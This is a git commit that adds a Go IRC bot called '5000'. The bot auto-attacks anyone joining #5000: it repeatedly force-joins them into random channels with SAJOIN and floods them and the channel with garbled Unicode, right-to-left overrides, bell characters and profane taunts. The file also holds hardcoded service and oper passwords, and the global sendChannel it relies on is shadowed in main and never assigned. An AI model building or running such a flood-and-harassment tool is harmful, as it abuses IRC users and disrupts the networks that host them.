mirror of git://git.acid.vegas/tools.git
Added 5000 (golang version)
This commit is contained in:
parent
37852bffa2
commit
640ca6f2ca
|
@ -0,0 +1,158 @@
|
|||
package main
|
||||
|
||||
// Original 5000 bot was written in Python. This is a Go port of it by acidvegas.
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
var sendChannel chan<- string
|
||||
|
||||
const (
|
||||
nickname = "FUCKYOU"
|
||||
username = "5000"
|
||||
realname = "\x0304THROWN INTO THE FUCKING WALL\x0f"
|
||||
)
|
||||
|
||||
func randomASCIIString(n int) string {
|
||||
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
b := make([]byte, n)
|
||||
for i := range b {
|
||||
b[i] = charset[rand.Intn(len(charset))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func unicodeString() string {
|
||||
msg := "\u202e\u0007\x03" + fmt.Sprintf("%d", rand.Intn(12)+2)
|
||||
for i := 0; i < rand.Intn(101)+200; i++ {
|
||||
r := rand.Intn(0x2001) + 0x1000
|
||||
if r < 0x10000 {
|
||||
msg += string(rune(r))
|
||||
} else {
|
||||
r -= 0x10000
|
||||
msg += string(utf16.DecodeRune(rune(r>>10+0xD800), rune(r&0x3FF+0xDC00)))
|
||||
}
|
||||
}
|
||||
return msg
|
||||
}
|
||||
|
||||
func attack(target string) {
|
||||
sendChannel <- fmt.Sprintf("PRIVMSG #superbowl :I am fucking the shit out of %s right now...", target)
|
||||
for i := 0; i < 200; i++ {
|
||||
var channels []string
|
||||
for i := 0; i < 25; i++ {
|
||||
channelName := "#" + randomASCIIString(5)
|
||||
channels = append(channels, channelName)
|
||||
}
|
||||
result := strings.Join(channels, ",")
|
||||
sendChannel <- fmt.Sprintf("SAJOIN %s #%s", target, result)
|
||||
sendChannel <- fmt.Sprintf("PRIVMSG #5000 :%s oh god %s what is happening %s", unicodeString(), target, unicodeString())
|
||||
sendChannel <- fmt.Sprintf("PRIVMSG %s :%s oh god %s what is happening %s", target, unicodeString(), target, unicodeString())
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
|
||||
for {
|
||||
conn, err := tls.Dial("tcp", "localhost:6697", &tls.Config{InsecureSkipVerify: true})
|
||||
if err != nil {
|
||||
log.Println("Failed to connect: %v", err)
|
||||
time.Sleep(15 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
messageChannel := make(chan string, 100) // INCOMING
|
||||
sendChannel := make(chan string, 100) // OUTGOING
|
||||
quit := make(chan struct{})
|
||||
|
||||
timeoutDuration := 300 * time.Second
|
||||
timeoutTimer := time.NewTimer(timeoutDuration)
|
||||
|
||||
go func() {
|
||||
reader := bufio.NewReader(conn)
|
||||
for {
|
||||
line, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
log.Println("Error reading from server:", err)
|
||||
conn.Close()
|
||||
close(quit)
|
||||
return
|
||||
}
|
||||
select {
|
||||
case messageChannel <- line:
|
||||
timeoutTimer.Reset(timeoutDuration)
|
||||
case <-quit:
|
||||
return
|
||||
case <-timeoutTimer.C:
|
||||
log.Println("No data received for 300 seconds. Reconnecting...")
|
||||
conn.Close()
|
||||
close(quit)
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case message := <-sendChannel:
|
||||
data := []byte(message)
|
||||
if len(data) > 510 {
|
||||
data = data[:510]
|
||||
}
|
||||
_, err := conn.Write(append(data, '\r', '\n'))
|
||||
if err != nil {
|
||||
log.Println("Error writing to server:", err)
|
||||
conn.Close()
|
||||
close(quit)
|
||||
return
|
||||
}
|
||||
case <-quit:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
sendChannel <- fmt.Sprintf("NICK FUCKYOU")
|
||||
sendChannel <- fmt.Sprintf("USER 5000 0 * :THROW INTO THE FUCKING WALL")
|
||||
|
||||
for {
|
||||
handleMessage(<-messageChannel, sendChannel)
|
||||
}
|
||||
|
||||
conn.Close()
|
||||
//close(quit)
|
||||
time.Sleep(15 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func handleMessage(message string, sendChannel chan<- string) {
|
||||
fmt.Println(message)
|
||||
parts := strings.Split(message, " ")
|
||||
if len(parts) > 1 && parts[0] == "PING" {
|
||||
sendChannel <- fmt.Sprintf("PONG %s", parts[1])
|
||||
} else if len(parts) > 2 && parts[1] == "001" {
|
||||
time.Sleep(5 * time.Second)
|
||||
sendChannel <- fmt.Sprintf("MODE FUCKYOU +BDd")
|
||||
sendChannel <- fmt.Sprintf("PRIVMSG NickServ IDENTIFY FUCKYOU simps0nsfan420")
|
||||
sendChannel <- fmt.Sprintf("PRIVMSG OPER FUCKYOU fartsimps0n420")
|
||||
sendChannel <- fmt.Sprintf("JOIN #5000")
|
||||
sendChannel <- fmt.Sprintf("JOIN #superbowl")
|
||||
} else if len(parts) == 3 {
|
||||
if parts[1] == "JOIN" && parts[2] == "#5000" {
|
||||
nick := strings.Split(parts[0], "!")[0][1:]
|
||||
if nick != "acidvegas" && nick != "ChanServ" && nick != "FUCKYOU" {
|
||||
go attack(nick)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue